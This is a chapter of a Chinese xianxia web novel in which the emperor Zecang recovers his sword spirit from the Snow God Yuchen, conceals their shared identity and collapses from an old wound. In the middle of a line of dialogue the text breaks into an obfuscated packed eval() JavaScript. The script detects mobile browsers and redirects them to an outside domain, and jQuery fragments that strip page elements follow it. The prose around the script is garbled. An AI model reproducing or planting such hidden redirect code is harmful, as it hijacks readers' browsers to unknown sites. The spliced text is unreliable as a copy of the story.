鼻尖前利刃寒光如雪,身影倒退,墨色衣袖浮动,泽苍悠悠扬起手,细长的指尖将剑锋一弹,一声清响,几寸偏离,黑影一闪。雪神握剑的手便被人生生擒住,剑锋潜底,剑花一挽,那剑竟离手,被来人夺了去,几许风吟,青丝浮荡。
“清霜剑,声清如霜雪,引风而歌,唯冷月以配。如此雅剑,雪神却用它伤一个病秧子岂不染了晦气?”言罢一声轻咳入耳。
雪神循声望去,便见来者自空荡的殿内,缓缓显出身形。只见他发鬓轻挽,眉若远山,目若秋水,眉眼深邃,看不出什么情绪,一身墨衣像个游神。
“只是这世间只余清霜,再无冷月。”低沉的声音再次响起,似是叹慰。
只听扑通一声,红衣的小童直径跪去了地上,小腿儿抖得如同筛糠一样,只见那白嫩的手作揖举过头顶,两双眼死死闭在一处,颤抖着声道“尊,尊上!”
玉尘垂眸,看着他手里的佩剑,莞尔一笑。
“玄穹上神。”
“雪神殿下....”泽苍收回手,后退几步拉开距离,又止不住咳了起来。
玉尘抬眸,一身素色的长衣,宽松的领口隐约露出高高的锁骨,是一副闲散居家的打扮,他一偏头,披散的长发便绸缎般落下。
“失礼了。”泽苍长袖一浮,将夺来的剑双手奉上,还于主人。
“那日不过匆匆一晤,小神并未提及身份神职,尊上如何知我是雪神?”雪神接过剑,将衣一整,抬眸望到泽苍的面上。
“那日雪神也只见我龙身,又如何得出我就是玄穹?”泽苍却不答他,反而负起手,问了回去。
“若在平时,玉尘只见龙身未闻人面,定是难以认出尊上。”
“哦?”
“自古伤人容易,夺剑不易,何况还是尊上这么个霸道夺法。游龙步,青云束仙手,四海八荒能同时使得出这两式体法的不过四位。”想起方才他夺剑的瞬间,玉尘还心有赞叹,他竟能在不伤对方分毫情况之下,从对方手里把剑夺走。
“仅凭交手?”泽苍显然是不信。
“仅凭交手,自然不够。”雪神明亮的眸子看着他。
“尊上气息不稳,手掌冰凉,显然气血亏损,而尊上出手沉稳,身手非凡,并非长卧病榻之辈!定是短期内,因重伤失血过多所致,而这伤嘛....”玉尘眉眼弯弯,却不再言明。
“心脉。”泽苍替他答道。
“不巧,小神前日救的那条龙,也正好伤在心脉。”玉尘弯弯嘴角,将一双明亮的眸子递了过去。
泽苍轻笑一声,淡然道“殿下果然聪慧。”
然而,玉尘并未如愿看到那玄穹钦佩或赞赏的目光,可他却笑了,很淡很轻的一个笑,本是欣慰,却让他觉得有着许多意味不明的含义,像是释然,亦或者遗憾。
“那尊上又是如何知我是雪神?”玉尘轻衣缓袖,浅笑着又问了回来。
闻言泽苍将眉一挑,将视线投向别处,心道绕了一圈竟没绕出去,反又绕回自己身上了。平日里拿捏那些天臣神魔也未觉得这般劳神费心,这忽悠起“自己”倒是像踢了铁板一样。
剑灵北斗见两人聊得融洽,已没了方才那般害怕的样子,腿虽跪在那,眼珠子却叽里咕噜的四处乱晃,要不是正主在那站着,他定然已歪到地上去吃他的酒去了。
在听到这二位你问我怎么知道你是谁,我问你如何知道我是谁?弯弯绕绕把他那尊上问得无语凝噎,北斗便忍不住憋着嘴笑起来。
他如何知道你是雪神,他以前就是雪神,他如何不知道!
哈哈哈哈,见过滑稽的,还没见过这么滑稽的,自己问自己是谁,竟还答得这么一本正经。
有趣,有趣的紧呀!
北斗正笑得小鸡抖毛一般的欢快,突然一抬眸就正好撞上泽苍那双冷冽的眼眸,那欢腾的笑瞬间便冻在了脸上,小脖子儿颤巍巍的往回缩了几寸,只露出一双滴溜圆的眼珠子。
没笑,没笑,我没笑。
“此地何处?”泽苍将视线收回,看向那微风细雨的雪神反问道。
“凌寒宫。”玉尘答。
“凌寒之境,凌寒宫,天帝长子雪神起居之殿,天界何人不知又何人不晓?本尊也不过是循着剑灵之气寻到此处。”泽苍轻描淡写,一味避重就轻。
“纵是雪神清寒,那凌寒宫也绝不止雪神一人!仙侍,小厮,灵兽,洒扫,研墨....尊上怎就不当我是旁人?”玉尘却还是不上套,好看的眉眼看过来。
“若再算上清霜剑如何?”泽苍将目光投向雪神手中的长剑,好似陈年的记忆被翻开,修长的手指拢在袖中,拇指悠悠从食指间碾过,一双墨一般的眼眸深不见悲喜。
“清霜冷月本是一双对剑,乃雪国神女与天帝衒琮的定情之物。万余年前一场浩劫神女身死神灭,冷月剑也为天帝所毁,清霜剑便成了雪神生母的唯一一件遗物。凌寒宫虽不止雪神一人,可在凌寒宫能以清霜为佩剑的却只有雪神一人。”
“尊上真是好记性,这万年前的事也能记得这般清楚!”玉尘笑道,眼中明亮如故。
他自然知道,只是此时的雪神尚不知晓,这清霜冷月背后的故事和这后来诸多的牵绊。
自打他记事起这把清霜剑就已是他随身之物,横竖也仅仅从父帝口中略微得知是母亲生前所赠。其他多余的,他父帝极少提及,他也很少去问。他从来都是推己及人,将他人的感受照顾细微,但凡他见父亲触及清霜冷月剑,一副眉头深锁的样子,他便不愿再去提及,反倒想着法子揭过去。
记得,我如何能不记得....
眼前仿佛又浮现了那年的情景,泽苍将苦涩与伤痛吞咽,转而笑道“什么好记性,本尊也不过是听来的!”
“今日本尊来此也只是为寻回舍下那馋酒的佩剑,恐怕由雪神这般惯着他喝下去,光赔这酒钱在下都得把自己赊进去了不可。”
“这...
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417944|184718||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
.”
“北斗,还不过来!”未给玉尘开口的机会,泽苍便下了命令。
“是,尊上....”只见那红衣的小童兴怏怏站起身来,尤为不舍的看了一眼玉尘,便走到泽苍身边。
他一仰头便看到泽苍那冰封一般的面容,虽是冷淡疏离,却虚弱的让人心疼,他感觉他好像在苦撑着什么。
泽苍只淡淡瞥了一眼北斗,便向玉尘施礼拜别。
玉尘本欲挽留,话还未出口,就见那一大一小的身影一隐,竞是瞬移到了大殿门口,很是着急。
本以为他要腾云离去,怎料那修长的身影却迟迟未动。就在玉尘也为之疑惑的时候的,几滴鲜红的血吧嗒几声滴落下来,北斗一抬眸就看到他脸色寡白如纸,竟是有旧疾复发的预兆。
“尊上,你的伤....”北斗杵在原地,眼看他闭目凝息,呼吸粗重,额上已是细密的虚汗。
“走!”他道。
尊上,您伤重如此,若强行催动灵力,恐引发旧疾!若在此处发病,后果不堪设想!北斗以神识传音,心中焦急,因他知道,他从来是个不听劝的。
“尊上如此重伤,应当就此调理休息,切不可再动用灵力!不知雪神可愿借宝地叨扰一二?”见他不答,北斗突然高声喊道,以图引起身后雪神的注意。
“放肆!”一个凌厉的眼风扫来,北斗立马双膝一软扑通一声跪下,就连墨羽和岁寒也被这气势惊得双腿一软跪将在地上。
纵然伤重羸弱,他也还是天帝,还是那说一不二的九天帝王,他抬手拂去嘴角边的血,垂眸看着跪在地上的北斗。
“咳、咳....吾之决断岂是尔可妄加置喙的!”
他要走自然有要走的理由,只见流光一闪北斗已化作龙渊剑回到了泽苍的手上。
他背对着他,修长的身影孤独而坚毅,暮然间竟有些悲苍之感。
毫无征兆的,那身影竟轰然倒了下去。
在断断续续的剪影里,他看到雪神那美好得不染尘埃的面容布满了担忧和焦虑,他用手托着他那绵软的肩膀,一次又一次把他托起。嘴角不断溢出的血,沾污了他雪白的长衣,那如绸缎般滑落飘扬的长发将窗口一段段落下的阳光打成了一条条斑驳的光影。
风吹着凌寒宫内水色的流纱舞动,雪神的身体很温暖,他却提不起一丝力气将他推开。
还是走晚了一步,泽苍轻叹。
那一年,凌寒宫下着白茫茫的雪,父帝拖着黄灿灿的大氅在他面前蹲下,用手捏了捏他的脸颊。一眼的笑意忽然那样就暗了下去他说“苍儿,父亲对不住你....”
冰冷的玄铭法纹穿透元神,深渊一般的黑暗袭来,小小的膝盖一软便倒了下去。衒琮伸手接住小小的泽苍将他抱到床榻上将一柄冰剑放于他的枕边....
清霜不悔,冷月无声。
一别经年,生死两边。
后来,对他而言,连清霜剑也一并被毁了去。